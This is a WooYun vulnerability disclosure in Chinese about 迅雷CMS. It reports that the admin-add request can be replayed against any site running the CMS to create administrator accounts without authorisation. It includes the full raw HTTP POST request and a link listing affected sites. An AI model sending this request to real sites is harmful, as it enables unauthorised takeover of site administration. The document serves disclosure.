迅雷CMS任意添加管理员账号 | wooyun-2014-050504

漏洞概要关注数(24) 关注此漏洞

缺陷编号：

wooyun-2014-050504

漏洞标题：

迅雷CMS任意添加管理员账号

漏洞详情

披露状态：

2014-02-10：积极联系厂商并且等待厂商认领中，细节不对外公开
2014-03-27：厂商已经主动忽略漏洞，细节向公众公开

简要描述：

银川迅雷网络有限公司
官网:www.ycxl.net

详细说明：

先找一个迅雷CMS的后台进入添加管理员然后抓包

然后换成另外一个迅雷CMS的网址点击GO

添加成功

再换一个

成功添加

添加成功

POST /admin/Admin_User.asp?action=savenew HTTP/1.1
Host: ******
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://*****/admin/Admin_User.asp?action=add
Cookie: ASPSESSIONIDSSAARRCR=CANNHNEDCDIOIDFLOCNBMCFL; cmsname=admin; cmsid=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
username2=账号&password2=密码&Submit=%CC%ED+%BC%D3

http://www.ycxl.net/index.php?m=Article&a=index&id=22 这里的网站都是迅雷CMS的

WooYun.org

漏洞概要关注数(24) 关注此漏洞

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源浅蓝@乌云

漏洞回应

厂商回应：

WooYun.org

漏洞概要 关注数(24) 关注此漏洞

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 浅蓝@乌云

漏洞回应

厂商回应：

漏洞概要关注数(24) 关注此漏洞

版权声明：转载请注明来源浅蓝@乌云